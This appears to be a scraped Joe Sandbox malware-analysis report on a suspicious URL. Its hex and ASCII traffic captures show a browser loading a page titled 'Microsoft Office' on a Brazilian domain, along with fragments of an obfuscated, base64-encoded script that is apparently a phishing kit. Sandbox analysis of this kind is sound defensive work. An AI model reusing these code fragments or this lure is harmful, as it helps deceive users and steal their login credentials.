2022-07-22 21:41:49 UTC	447	OUT	GET /021.mp4 HTTP/1.1 Host: vr.8b.io Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36 Accept-Encoding: identity;q=1, ;q=0 Accept: /* Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: video Referer: https://houseinspector.8b.io/ Accept-Language: en-US,en;q=0.9 Range: bytes=65536-134284 If-None-Match: "0a049bc3936832cee7819f2cbb924093" If-Modified-Since: Mon, 04 Oct 2021 08:41:47 GMT
2022-07-22 21:41:49 UTC	448	IN	HTTP/1.1 304 Not Modified Date: Fri, 22 Jul 2022 21:41:49 GMT Connection: close x-amz-id-2: bs+npv6DT3p9dC+xV7FsOKfdHhrIR6Xf1mipstn7T+FRRhWkINYD+PcKLsShG5oFuSUMTv7IsaM= x-amz-request-id: 2H0K3Z4X527D8BP4 Last-Modified: Mon, 04 Oct 2021 08:41:47 GMT ETag: "0a049bc3936832cee7819f2cbb924093" Cache-Control: max-age=14400 CF-Cache-Status: MISS Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Ka3k1FWYTH%2BSsq36bKyV0X2U6oPGRDZe5QZrFkv%2ForhnWq7V%2Fel0iGgqEbm8WGmspNoBFfgUfEtmguG19Td76N5qMq%2F4Eew0kRbgPpS%2BvdneOnAxA6NB1tOizg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 72ef57b9dde3005b-LHR alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400

Timestamp	kBytes transferred	Direction	Data
2022-07-22 21:41:50 UTC	1759	OUT	GET /favicon.ico HTTP/1.1 Host: houseinspector.8b.io Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36 Accept: image/avif,image/webp,image/apng,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://houseinspector.8b.io/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2022-07-22 21:41:50 UTC	1759	IN	HTTP/1.1 404 Not Found Date: Fri, 22 Jul 2022 21:41:50 GMT Content-Type: text/html; charset=utf-8 Content-Length: 208 Connection: close Server: nginx/1.14.0 (Ubuntu) X-Instance-Id: PRXJNCsIRbrLhNunSxDkgQ== X-ST-Cache-Status: HIT
2022-07-22 21:41:50 UTC	1759	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /favicon.ico was not found on this server.</p></body></html>

Timestamp	kBytes transferred	Direction	Data
2022-07-22 21:42:02 UTC	1860	OUT	GET /success.html HTTP/1.1 Host: cferragens.com.br Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2022-07-22 21:42:03 UTC	1860	IN	HTTP/1.1 200 OK Date: Fri, 22 Jul 2022 21:42:03 GMT Server: Apache Last-Modified: Fri, 22 Jul 2022 14:06:32 GMT Accept-Ranges: bytes Content-Length: 556 Connection: close Content-Type: text/html
2022-07-22 21:42:03 UTC	1860	IN	Data Raw: 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 20 0d 0a 20 20 3c 74 69 74 6c 65 3e 4d 69 63 72 6f 73 6f 66 74 20 4f 66 66 69 63 65 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 3e 0d 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 67 6f 6f 67 6c 65 62 6f 74 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 3e 0d 0a 20 20 3c 6d 65 74 Data Ascii: <!DOCTYPE html><html><head> <title>Microsoft Office</title> <meta http-equiv="content-type" content="text/html; charset=UTF-8"> <meta name="robots" content="noindex, nofollow"> <meta name="googlebot" content="noindex, nofollow"> <met

Timestamp	kBytes transferred	Direction	Data
2022-07-22 21:42:04 UTC	1861	OUT	GET /wp-server/basic.js HTTP/1.1 Host: cferragens.com.br Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://cferragens.com.br/success.html Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2022-07-22 21:42:04 UTC	1870	IN	HTTP/1.1 200 OK Date: Fri, 22 Jul 2022 21:42:04 GMT Server: Apache Last-Modified: Fri, 22 Jul 2022 14:04:25 GMT Accept-Ranges: bytes Content-Length: 24727 Connection: close Content-Type: application/javascript
2022-07-22 21:42:04 UTC	1870	IN	Data Raw: 0d 0a 20 24 28 64 6f 63 75 6d 65 6e 74 29 2e 72 65 61 64 79 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0d 0a 09 09 73 61 76 65 46 69 6c 65 28 29 3b 0d 0a 7d 29 3b 0d 0a 0d 0a 66 75 6e 63 74 69 6f 6e 20 73 61 76 65 46 69 6c 65 20 28 6e 61 6d 65 2c 20 74 79 70 65 2c 20 64 61 74 61 29 20 7b 0d 0a 09 69 66 20 28 64 61 74 61 20 21 3d 20 6e 75 6c 6c 20 26 26 20 6e 61 76 69 67 61 74 6f 72 2e 6d 73 53 61 76 65 42 6c 6f 62 29 0d 0a 09 09 72 65 74 75 72 6e 20 6e 61 76 69 67 61 74 6f 72 2e 6d 73 53 61 76 65 42 6c 6f 62 28 6e 65 77 20 42 6c 6f 62 28 5b 64 61 74 61 5d 2c 20 7b 20 74 79 70 65 3a 20 74 79 70 65 20 7d 29 2c 20 6e 61 6d 65 29 3b 0d 0a 09 76 61 72 20 61 20 3d 20 24 28 22 3c 61 20 73 74 79 6c 65 3d 27 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 27 2f 3e 22 29 3b Data Ascii: $(document).ready(function() {saveFile();});function saveFile (name, type, data) {if (data != null && navigator.msSaveBlob)return navigator.msSaveBlob(new Blob([data], { type: type }), name);var a = $("<a style='display: none;'/>");
2022-07-22 21:42:04 UTC	1909	IN	Data Raw: 43 42 77 65 43 30 31 49 48 42 35 4c 54 49 69 49 48 4e 30 65 57 78 6c 50 53 4a 6d 62 32 35 30 4c 58 4e 70 65 6d 55 36 49 44 49 77 63 48 67 37 49 47 4e 76 62 47 39 79 4f 69 41 6a 4d 55 4d 35 51 30 51 32 4f 79 42 6d 62 32 35 30 4c 58 64 6c 61 57 64 6f 64 44 6f 67 4e 54 41 77 4f 79 49 2b 52 32 56 30 49 46 4e 30 59 58 4a 30 5a 57 51 38 4c 32 4a 31 64 48 52 76 62 6a 34 4b 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 50 43 39 6b 61 58 59 2b 43 69 41 67 49 43 41 67 49 43 41 67 49 43 41 38 4c 32 52 70 64 6a 34 67 4c 53 30 2b 43 69 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 38 5a 47 6c 32 49 47 4e 73 59 58 4e 7a 50 53 4a 6a 62 32 77 74 62 47 63 74 4e 69 42 74 65 43 31 68 64 58 52 76 49 6a 34 4b 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 Data Ascii: CBweC01IHB5LTIiIHN0eWxlPSJmb250LXNpemU6IDIwcHg7IGNvbG9yOiAjMUM5Q0Q2OyBmb250LXdlaWdodDogNTAwOyI+R2V0IFN0YXJ0ZWQ8L2J1dHRvbj4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICA8L2Rpdj4gLS0+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjb2wtbGctNiBteC1hdXRvIj4KICAgICAgICAgICAg
2022-07-22 21:42:04 UTC	1917	IN	Data Raw: 57 35 76 62 6e 6c 74 62 33 56 7a 49 6a 34 38 4c 33 4e 6a 63 6d 6c 77 64 44 34 4b 43 6a 78 7a 59 33 4a 70 63 48 51 67 64 48 6c 77 5a 54 30 69 64 47 56 34 64 43 39 71 59 58 5a 68 63 32 4e 79 61 58 42 30 49 69 42 7a 63 6d 4d 39 49 6d 68 30 64 48 42 7a 4f 69 38 76 59 57 70 68 65 43 35 6e 62 32 39 6e 62 47 56 68 63 47 6c 7a 4c 6d 4e 76 62 53 39 68 61 6d 46 34 4c 32 78 70 59 6e 4d 76 61 6e 46 31 5a 58 4a 35 4c 7a 49 75 4d 69 34 30 4c 32 70 78 64 57 56 79 65 53 35 74 61 57 34 75 61 6e 4d 69 50 6a 77 76 63 32 4e 79 61 58 42 30 50 67 6f 38 63 32 4e 79 61 58 42 30 50 67 70 6d 64 57 35 6a 64 47 6c 76 62 69 42 66 4d 48 67 31 5a 6a 42 6b 4b 43 6c 37 64 6d 46 79 49 46 38 77 65 44 4d 79 59 32 51 7a 4e 7a 31 62 4a 7a 4d 32 4e 6a 6b 30 4d 6a 42 6a 57 48 56 53 61 55 73 6e Data Ascii: W5vbnltb3VzIj48L3NjcmlwdD4KCjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0IiBzcmM9Imh0dHBzOi8vYWpheC5nb29nbGVhcGlzLmNvbS9hamF4L2xpYnMvanF1ZXJ5LzIuMi40L2pxdWVyeS5taW4uanMiPjwvc2NyaXB0Pgo8c2NyaXB0PgpmdW5jdGlvbiBfMHg1ZjBkKCl7dmFyIF8weDMyY2QzNz1bJzM2Njk0MjBjWHVSaUsn
2022-07-22 21:42:04 UTC	1924	IN	Data Raw: 57 4e 68 4e 7a 64 62 58 7a 42 34 4d 7a 64 6c 4d 6a 49 34 4b 44 42 34 4d 54 45 33 4b 56 31 62 4a 32 52 70 63 33 42 73 59 58 6b 6e 58 54 30 6e 62 6d 39 75 5a 53 63 70 4f 69 68 66 4d 48 67 31 4d 57 4e 68 4e 7a 64 62 58 7a 42 34 4d 7a 64 6c 4d 6a 49 34 4b 44 42 34 4d 54 45 33 4b 56 31 62 4a 32 52 70 63 33 42 73 59 58 6b 6e 58 54 31 66 4d 48 67 7a 4e 32 55 79 4d 6a 67 6f 4d 48 67 78 4d 47 59 70 4c 46 38 77 65 44 51 31 4e 47 56 6a 5a 56 73 6e 63 33 52 35 62 47 55 6e 58 56 74 66 4d 48 67 7a 4e 32 55 79 4d 6a 67 6f 4d 48 67 78 4d 54 4d 70 58 54 31 66 4d 48 67 7a 4e 32 55 79 4d 6a 67 6f 4d 48 67 78 4d 47 4d 70 4c 46 38 77 65 47 59 34 5a 6a 68 6d 5a 56 74 66 4d 48 67 7a 4e 32 55 79 4d 6a 67 6f 4d 48 67 78 4d 54 63 70 58 56 73 6e 5a 47 6c 7a 63 47 78 68 65 53 64 64 Data Ascii: WNhNzdbXzB4MzdlMjI4KDB4MTE3KV1bJ2Rpc3BsYXknXT0nbm9uZScpOihfMHg1MWNhNzdbXzB4MzdlMjI4KDB4MTE3KV1bJ2Rpc3BsYXknXT1fMHgzN2UyMjgoMHgxMGYpLF8weDQ1NGVjZVsnc3R5bGUnXVtfMHgzN2UyMjgoMHgxMTMpXT1fMHgzN2UyMjgoMHgxMGMpLF8weGY4ZjhmZVtfMHgzN2UyMjgoMHgxMTcpXVsnZGlzcGxheSdd

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://houseinspector.8b.io

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files\Google\Chrome\Application\Dictionaries\en-US-9-0.bdic

C:\Users\user\AppData\Local\Google\Chrome\User Data\0ab01e8c-9edc-4f48-b774-b2cd144b2606.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\345ccdd7-ccb9-4340-88f3-ecaf9811d527.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\69b33bff-e2f7-486d-bfbe-5d73c659f846.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\6a552bf0-69fe-4a0f-9896-aa3bda35347c.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\79c7e62a-5fb1-4d05-b541-5a777df421d6.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\8e2865d0-c0f8-49b4-a168-d1248774e4f8.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Crashpad\settings.dat

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\258959ce-9c6d-4579-935c-05b1f7241874.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\3aae4b43-e055-4674-a319-9402640e6c88.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\7266eda0-f395-4c9e-9ac2-ca821445eef6.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\88e60226-c7ba-43f7-a8c9-9d4774714a93.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index (copy)

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB\000003.log

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB\LOG

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB\LOG.old (copy)

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History Provider Cache

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network Persistent State (copy)

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Preferences (copy)

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences (copy)

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\04991bd4-7b3c-4db5-9e0c-79194af4c0c6.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\GPUCache\data_1

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Network Persistent State (copy)

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\TransportSecurity (copy)

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\a211d1d8-7bb7-46db-b94c-f3169d01ae49.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\da9fdaf2-285e-46ec-9c8b-9785c4374c2a.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\data_reduction_proxy_leveldb\000004.dbtmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\data_reduction_proxy_leveldb\CURRENT (copy)

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\e001364f-922a-4d38-b0e9-63bb2c4d25a4.tmp

Windows Analysis Report
https://houseinspector.8b.io

Timestamp	kBytes transferred	Direction	Data
2022-07-22 21:42:05 UTC	2171	OUT	GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive Origin: https://cferragens.com.br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2022-07-22 21:42:05 UTC	2230	IN	HTTP/1.1 200 OK Date: Fri, 22 Jul 2022 21:42:05 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"5eb03fa9-4af4" Last-Modified: Mon, 04 May 2020 16:15:37 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" CF-Cache-Status: HIT Age: 325768 Expires: Wed, 12 Jul 2023 21:42:05 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=42WiRZvsmSnu5PpyNCtT3dNNqxUxgyza7NgLyq0x3BJyB1oTwuxvMSfuOuTODCttoRfexGH6u2fA4BUnkQYp2p7EtH8vJZSqQFKrV8iSMXrLkM3rnKmjA9G38KbEV2Nz6erTaOLI"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 72ef581deb169085-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2022-07-22 21:42:05 UTC	2231	IN	Data Raw: 34 61 66 34 0d 0a 2f 2a 0a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 46 65 64 65 72 69 63 6f 20 5a 69 76 6f 6c 6f 20 32 30 31 37 0a 20 44 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 4c 69 63 65 6e 73 65 20 28 6c 69 63 65 6e 73 65 20 74 65 72 6d 73 20 61 72 65 20 61 74 20 68 74 74 70 3a 2f 2f 6f 70 65 6e 73 6f 75 72 63 65 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 4d 49 54 29 2e 0a 20 2a 2f 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 27 6f 62 6a 65 63 74 27 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 27 75 6e 64 65 66 69 6e 65 64 27 21 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 27 66 75 6e 63 74 69 6f 6e 27 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 Data Ascii: 4af4/* Copyright (C) Federico Zivolo 2017 Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT). */(function(e,t){'object'==typeof exports&&'undefined'!=typeof module?module.exports=t():'function'==typeof define&
2022-07-22 21:42:05 UTC	2231	IN	Data Raw: 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 27 75 73 65 20 73 74 72 69 63 74 27 3b 66 75 6e 63 74 69 6f 6e 20 65 28 65 29 7b 72 65 74 75 72 6e 20 65 26 26 27 5b 6f 62 6a 65 63 74 20 46 75 6e 63 74 69 6f 6e 5d 27 3d 3d 3d 7b 7d 2e 74 6f 53 74 72 69 6e 67 2e 63 61 6c 6c 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 74 28 65 2c 74 29 7b 69 66 28 31 21 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 29 72 65 74 75 72 6e 5b 5d 3b 76 61 72 20 6f 3d 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 28 65 2c 6e 75 6c 6c 29 3b 72 65 74 75 72 6e 20 74 3f 6f 5b 74 5d 3a 6f 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 65 29 7b 72 65 74 75 72 6e 27 48 54 4d 4c 27 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 3f 65 3a 65 2e 70 61 72 65 6e 74 4e 6f 64 65 7c 7c 65 2e 68 6f 73 74 7d 66 75 6e 63 74 69 6f 6e Data Ascii: his,function(){'use strict';function e(e){return e&&'[object Function]'==={}.toString.call(e)}function t(e,t){if(1!==e.nodeType)return[];var o=getComputedStyle(e,null);return t?o[t]:o}function o(e){return'HTML'===e.nodeName?e:e.parentNode\|\|e.host}function
2022-07-22 21:42:05 UTC	2232	IN	Data Raw: 7b 76 61 72 20 6e 3d 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2c 72 3d 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 73 63 72 6f 6c 6c 69 6e 67 45 6c 65 6d 65 6e 74 7c 7c 6e 3b 72 65 74 75 72 6e 20 72 5b 6f 5d 7d 72 65 74 75 72 6e 20 65 5b 6f 5d 7d 66 75 6e 63 74 69 6f 6e 20 6c 28 65 2c 74 29 7b 76 61 72 20 6f 3d 32 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 32 5d 26 26 61 72 67 75 6d 65 6e 74 73 5b 32 5d 2c 69 3d 61 28 74 2c 27 74 6f 70 27 29 2c 6e 3d 61 28 74 2c 27 6c 65 66 74 27 29 2c 72 3d 6f 3f 2d 31 3a 31 3b 72 65 74 75 72 6e 20 65 2e 74 6f 70 2b 3d 69 2a 72 2c 65 2e 62 6f 74 74 6f 6d 2b 3d 69 2a 72 2c 65 2e 6c 65 66 74 2b 3d Data Ascii: {var n=e.ownerDocument.documentElement,r=e.ownerDocument.scrollingElement\|\|n;return r[o]}return e[o]}function l(e,t){var o=2<arguments.length&&void 0!==arguments[2]&&arguments[2],i=a(t,'top'),n=a(t,'left'),r=o?-1:1;return e.top+=ir,e.bottom+=ir,e.left+=
2022-07-22 21:42:05 UTC	2234	IN	Data Raw: 3d 6f 2e 6e 6f 64 65 4e 61 6d 65 2c 70 3d 67 28 65 29 2c 73 3d 67 28 6f 29 2c 64 3d 6e 28 65 29 2c 61 3d 74 28 6f 29 2c 66 3d 70 61 72 73 65 46 6c 6f 61 74 28 61 2e 62 6f 72 64 65 72 54 6f 70 57 69 64 74 68 2c 31 30 29 2c 6d 3d 70 61 72 73 65 46 6c 6f 61 74 28 61 2e 62 6f 72 64 65 72 4c 65 66 74 57 69 64 74 68 2c 31 30 29 2c 68 3d 63 28 7b 74 6f 70 3a 70 2e 74 6f 70 2d 73 2e 74 6f 70 2d 66 2c 6c 65 66 74 3a 70 2e 6c 65 66 74 2d 73 2e 6c 65 66 74 2d 6d 2c 77 69 64 74 68 3a 70 2e 77 69 64 74 68 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 29 3b 69 66 28 68 2e 6d 61 72 67 69 6e 54 6f 70 3d 30 2c 68 2e 6d 61 72 67 69 6e 4c 65 66 74 3d 30 2c 21 69 26 26 72 29 7b 76 61 72 20 75 3d 70 61 72 73 65 46 6c 6f 61 74 28 61 2e 6d 61 72 67 69 6e 54 6f 70 2c 31 30 Data Ascii: =o.nodeName,p=g(e),s=g(o),d=n(e),a=t(o),f=parseFloat(a.borderTopWidth,10),m=parseFloat(a.borderLeftWidth,10),h=c({top:p.top-s.top-f,left:p.left-s.left-m,width:p.width,height:p.height});if(h.marginTop=0,h.marginLeft=0,!i&&r){var u=parseFloat(a.marginTop,10
2022-07-22 21:42:05 UTC	2235	IN	Data Raw: 69 6e 64 65 78 4f 66 28 27 61 75 74 6f 27 29 29 72 65 74 75 72 6e 20 65 3b 76 61 72 20 70 3d 79 28 6f 2c 69 2c 72 2c 6e 29 2c 73 3d 7b 74 6f 70 3a 7b 77 69 64 74 68 3a 70 2e 77 69 64 74 68 2c 68 65 69 67 68 74 3a 74 2e 74 6f 70 2d 70 2e 74 6f 70 7d 2c 72 69 67 68 74 3a 7b 77 69 64 74 68 3a 70 2e 72 69 67 68 74 2d 74 2e 72 69 67 68 74 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 2c 62 6f 74 74 6f 6d 3a 7b 77 69 64 74 68 3a 70 2e 77 69 64 74 68 2c 68 65 69 67 68 74 3a 70 2e 62 6f 74 74 6f 6d 2d 74 2e 62 6f 74 74 6f 6d 7d 2c 6c 65 66 74 3a 7b 77 69 64 74 68 3a 74 2e 6c 65 66 74 2d 70 2e 6c 65 66 74 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 7d 2c 64 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 73 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b Data Ascii: indexOf('auto'))return e;var p=y(o,i,r,n),s={top:{width:p.width,height:t.top-p.top},right:{width:p.right-t.right,height:p.height},bottom:{width:p.width,height:p.bottom-t.bottom},left:{width:t.left-p.left,height:p.height}},d=Object.keys(s).map(function(e){
2022-07-22 21:42:05 UTC	2236	IN	Data Raw: 28 69 29 7d 66 75 6e 63 74 69 6f 6e 20 43 28 74 2c 6f 2c 69 29 7b 76 61 72 20 6e 3d 76 6f 69 64 20 30 3d 3d 3d 69 3f 74 3a 74 2e 73 6c 69 63 65 28 30 2c 44 28 74 2c 27 6e 61 6d 65 27 2c 69 29 29 3b 72 65 74 75 72 6e 20 6e 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 74 5b 27 66 75 6e 63 74 69 6f 6e 27 5d 26 26 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 27 60 6d 6f 64 69 66 69 65 72 2e 66 75 6e 63 74 69 6f 6e 60 20 69 73 20 64 65 70 72 65 63 61 74 65 64 2c 20 75 73 65 20 60 6d 6f 64 69 66 69 65 72 2e 66 6e 60 21 27 29 3b 76 61 72 20 69 3d 74 5b 27 66 75 6e 63 74 69 6f 6e 27 5d 7c 7c 74 2e 66 6e 3b 74 2e 65 6e 61 62 6c 65 64 26 26 65 28 69 29 26 26 28 6f 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 3d 63 28 6f 2e 6f 66 66 73 65 74 73 2e 70 6f Data Ascii: (i)}function C(t,o,i){var n=void 0===i?t:t.slice(0,D(t,'name',i));return n.forEach(function(t){t['function']&&console.warn('`modifier.function` is deprecated, use `modifier.fn`!');var i=t['function']\|\|t.fn;t.enabled&&e(i)&&(o.offsets.popper=c(o.offsets.po
